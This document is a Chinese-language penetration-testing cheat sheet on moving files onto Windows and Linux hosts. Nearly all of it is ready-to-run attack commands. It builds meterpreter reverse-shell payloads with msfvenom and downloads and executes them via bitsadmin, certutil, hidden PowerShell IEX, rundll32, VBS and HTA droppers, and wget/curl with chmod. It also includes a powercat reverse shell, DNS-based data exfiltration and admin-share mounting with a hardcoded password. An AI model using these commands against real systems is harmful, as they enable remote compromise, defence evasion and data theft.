Windows下文件传输
Bitsadmin
BITSAdmin 是一个命令行工具,可以使用它创建下载或上传作业,并监视其进度。
bitsadmin | Microsoft Docs
bitsadmin 示例 | Microsoft Docs
- msfvenom生成Payload
1
| msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f hta-psh > 6666.hta
|
- 启动Apache2服务,托管Payload
1 2 3 4 5
| #启动apache2服务 service apache2 start
#复制payload到web根目录 cp 6666.hta /var/www/html/
|
- bitsadmin 下载 Payload
1
| bitsadmin /transfer shell http://192.168.247.135/6666.hta C:\windows\temp\6666.hta
|
- 启动metasploit监听器
1 2 3 4 5
| # 进入msfconsole控制台 msfconsole -q
# 创建监听器 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.247.135 -P 6666
|
- 执行Payload
1
| rundll32.exe url.dll,OpenURL C:\windows\temp\6666.hta
|
然后kali就会上线
Certutil
certutil | Microsoft Docs
Certutil.exe 是作为证书服务的一部分安装的命令行工具。 你可以使用 certutil.exe 显示证书
颁发机构 (CA) 配置信息、配置证书服务、备份和还原 CA 组件。
- msfvenom生成Payload
1
| msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f exe > 6666.exe
|
- 启动Apache2服务,托管Payload
1 2 3 4 5
| # 启动apache2服务 service apache2 start
# 复制payload到web根目录 cp 6666.exe /var/www/html/
|
- 启动metasploit监听器
1 2 3 4 5
| # 进入msfconsole控制台 msfconsole -q
# 创建监听器 handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.247.135 -P 6666
|
- certutil下载并执行Payload
1
| certutil.exe -urlcache -split -f http://192.168.247.135/6666.exe c:\windows\temp\6666.exe & start c:\windows\temp\6666.exe
|
清除下载缓存:
缓存目录:%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
1
| certutil.exe -urlcache -split -f http://192.168.247.135/6666.exe delete
|
Powershell
PowerShell 文档 - PowerShell | Microsoft Docs
PowerShell常用的.Net 、COM对象(New-Object、Assembly)、加载程序集
Powershell命令大全
1 2 3 4 5 6
| Invoke-Expression(IEX的别名):用来把字符串当作命令执行。 WindowStyle Hidden(-w Hidden):隐藏窗口 Nonlnteractive(-NonI):非交互模式,PowerShell不为用户提供交互的提示。 NoProfile(-NoP):PowerShell控制台不加载当前用户的配置文件。 Noexit(-Noe):执行后不退出Shell。 EncodedCommand(-enc): 接受base64 encode的字符串编码,避免一些解析问题
|
WebClient 类:提供用于将数据发送到由 URI 标识的资源以及从这样的资源接收数据的常用方法。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient?view=net-6.0
DownloadString 方法:以 String 形式下载请求的资源。 可以以包含 URI 的 String 或 Uri 的形式指定要下载的资源。
https://learn.microsoft.com/zh-cn/dotnet/api/system.net.webclient.downloadstring?view=net-6.0
1 2 3 4 5 6 7 8
| $d = New-Object System.Net.WebClient $d.DownloadFile("http://xx.xx.xx.xx/file.zip","c:/1.zip")
powershell -c "$p=new-object system.net.webclient;$p.DownloadFile('https://pastebin.com/raw/M676F14U','s.txt')" powershell -command "(new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt')" powershell (new-object system.net.webclient).downloadfile('https://pastebin.com/raw/M676F14U','s.txt') powershell Invoke-WebRequest -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt" powershell iwr -uri "https://pastebin.com/raw/M676F14U" -OutFile "$env:temp\s.txt"
|
1
| powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.247.135 -p 1234 -e cmd"
|
1
| msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=8899 -f psh-reflection -o shell.ps1
|
1
| powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://192.168.247.135/shell.ps1');shell.ps1";
|
远程下载文件到本地并执行
1
| cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe
|
SCP
scp命令 Linux和Windows文件互传
1 2 3 4 5
| # 下载当个文件 scp root@192.168.247.135:/root/6666.hta 6666.hta
# 下载文件夹下所有文件 scp -r root@192.168.247.135:/var/www/html html/
|
1 2 3 4 5
| # scp上传单个文件 scp test.txt root@192.168.247.135:/tmp/test.txt
# scp上传文件夹 scp -r password/ root@192.168.247.135:/tmp/pass/
|
Windows文件共享
net use命令是Windows操作系统中的一个命令,用于将共享资源映射到本地计算机上。
1 2 3 4 5 6 7 8
| # 显示建立的网络共享连接 net use
# 与远程主机192.168.247.146的C盘建立网络共享连接,并映射远程主机C盘,到本地K盘 net use k: \\192.168.247.146\c$ /user:administrator "1qaz@wsx"
# 列出本地K盘目录,也就是显示的远程主机192.168.247.146的C盘 dir k:
|
1 2 3 4 5
| # 显示远程主机192.168.247.146的C盘目录文件 dir \\192.168.247.146\c$
# 复制远程主机192.168.247.146的C盘目录下的6666.hta文件到本地 copy \\192.168.247.146\c$\6666.hta c:\6666.hta
|
VBS脚本
保存为.vbs
文件后运行
- 下载
download.vbs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| Set xPost=createObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://192.168.247.135/6666.exe",0
xPost.Send()
到本地文件中 set sGet=createObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile "c:\6666.exe",2
|
- 下载并执行
download_run.vbs
1 2 3 4 5 6 7 8 9 10 11 12
| Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://192.168.247.135/6666.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream") aGet.Mode = 3 aGet.Type = 1 aGet.Open() aGet.Write(Post.responseBody) aGet.SaveToFile "c:\6666.exe",2 wscript.sleep 1000 Shell.Run ("c:\6666.exe")
|
- cmd命令写入脚本并执行
1 2 3 4 5 6 7 8 9 10 11 12 13
| echo Set Post = CreateObject("Msxml2.XMLHTTP") >>zl.vbs echo Set Shell = CreateObject("Wscript.Shell") >>zl.vbs echo Post.Open "GET","http://192.168.247.135/6666.exe",0 >>zl.vbs echo Post.Send() >>zl.vbs echo Set aGet = CreateObject("ADODB.Stream") >>zl.vbs echo aGet.Mode = 3 >>zl.vbs echo aGet.Type = 1 >>zl.vbs echo aGet.Open() >>zl.vbs echo aGet.Write(Post.responseBody) >>zl.vbs echo aGet.SaveToFile "c:\6666.exe",2 >>zl.vbs echo wscript.sleep 1000 >>zl.vbs echo Shell.Run ("c:\6666.exe") >>zl.vbs cscript zl.vbs
|
- wget.vbs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| on error resume next
iLocal=LCase(Wscript.Arguments(1)) iRemote=LCase(Wscript.Arguments(0)) iUser=LCase(Wscript.Arguments(2)) iPass=LCase(Wscript.Arguments(3))
set xPost=CreateObject("Microsoft.XMLHTTP")
if iUser="" and iPass="" then xPost.Open "GET",iRemote,0 else xPost.Open "GET",iRemote,0,iUser,iPass end if xPost.Send()
set sGet=CreateObject("ADODB.Stream") sGet.Mode=3 sGet.Type=1 sGet.Open() sGet.Write xPost.ResponseBody sGet.SaveToFile iLocal,2
|
使用方法
1
| cscript wget.vbs http://192.168.247.135/6666.exe c:\6666.exe
|
HTA脚本
保存为.hta文件后运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <html>
<head> <script> // 使用new ActiveXObject()方法创建一个名为Object的MSXML2.XMLHTTP对象,用于向远程服务器发送HT TP请求 // 然后调用Object.open()方法打开一个GET请求,指定要下载的文件的URL地址 // 最后一个参数为false表示同步请求,即等待服务器响应后再执行下一条语句 // 使用Object.send()方法发送请求并获取响应内容 var Object = new ActiveXObject("MSXML2.XMLHTTP"); Object.open("GET","http://192.168.247.135/6666.exe",false); Object.send(); // 检查Object.Status的值是否等于200,表示HTTP响应的状态码是否为成功。 // 响应成功,就使用new ActiveXObject()方法创建一个名为Stream的ADODB.Stream对象,用于将响应内 容保存到本地文件 // 然后调用Stream.Open()方法打开流,调用Stream.Type = 1方法设置流数据类型为二进制 // 调用Stream.Write()方法写入响应内容,最后调用Stream.SaveToFile()方法将流数据保存到本地文 件"C:\6666.exe"中 // 使用new ActiveXObject()方法创建一个名为Shell的Wscript.Shell对象,用于运行本地可执行文件 // 调用Shell.Run()方法运行C:\6666.exe文件 // 调用Stream.Close()方法关闭流,调用window.close()方法关闭窗口 if (Object.Status == 200) { var Stream = new ActiveXObject("ADODB.Stream"); Stream.Open(); Stream.Type = 1; Stream.Write(Object.ResponseBody); Stream.SaveToFile("C:\\6666.exe", 2); Stream.Close(); var Shell = new ActiveXObject("Wscript.Shell"); Shell.Run("C:\\6666.exe"); } window.close(); </script> <HTA:APPLICATION ID="test" WINDOWSTATE = "minimize"> </head>
<body> </body> </html>
|
Linux下文件传输
1
| msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=5555 -f elf -o 5555.elf
|
1
| handler -p linux/x64/meterpreter/reverse_tcp -H 192.168.247.135 -P 5555
|
wget
wget从指定的URL下载文件
1
| wget http://192.168.247.135/5555.elf -P /tmp/ && chmod +x /tmp/5555.elf && /tmp/5555.elf
|
1
| wget -O 5555.elf http://192.168.247.135/5555.elf && chmod +x 5555.elf && ./5555.elf &
|
curl
curl
是用来请求 Web
服务器的命令行工具。
curl 的用法指南
1 2 3
| curl -o 5555.elf http://192.168.247.135/5555.elf && chmod +x 5555.elf && ./5555.elf &
curl -O http://192.168.247.135/5555.elf && chmod +x 5555.elf && ./5555.elf &
|
Netcat
1 2 3 4 5
| # kali cat file | nc -lvvp 1234
# linux nc 192.168.247.135 1234 > 5555.elf
|
1 2 3 4 5
| # kali nc 192.168.81.221 1234 < 5555.elf
# linux nc -lvvp 1234 > 5555.elf
|
SFTP
1
| sftp root@192.168.247.135:/var/www/html/
|
1 2 3 4 5
| # -P 指定ssh端口 sftp -P 22 root@192.168.247.135
# -i 指定私钥 sftp -P 22 -i ~/.ssh/id_rsa root@192.168.247.135
|
利用dns传输数据
1
| cat test | xxd -p -c 16 | while read line; do host $line.srdjjk.dnslog.cn; done
|
脚本语言下文件传输
PHP
1 2 3 4
| php -r 'file_put_contents("5555.elf",file_get_contents("http://192.168.247.135/5555.elf"));
# file_put_contents: 将一个字符串写入文件 # file_get_contents: 将整个文件读入一个字符串
|
Python
1
| python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.247.135/5555.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"
|
1
| python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.247.135/5555.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close()"
|
Ruby
1 2 3 4 5 6 7
| #!ruby #!/usr/bin/ruby require 'net/http' Net::HTTP.start("192.168.247.135") { |http| r = http.get("/5555.elf") open("/tmp/5555.elf", "wb") { |file| file.write(r.body) } }
|
1
| ruby -e "require 'net/http';Net::HTTP.start('192.168.247.135') { |http|r = http.get('/5555.elf');open('/tmp/5555.elf', 'wb') { |file| file.write(r.body)}}"
|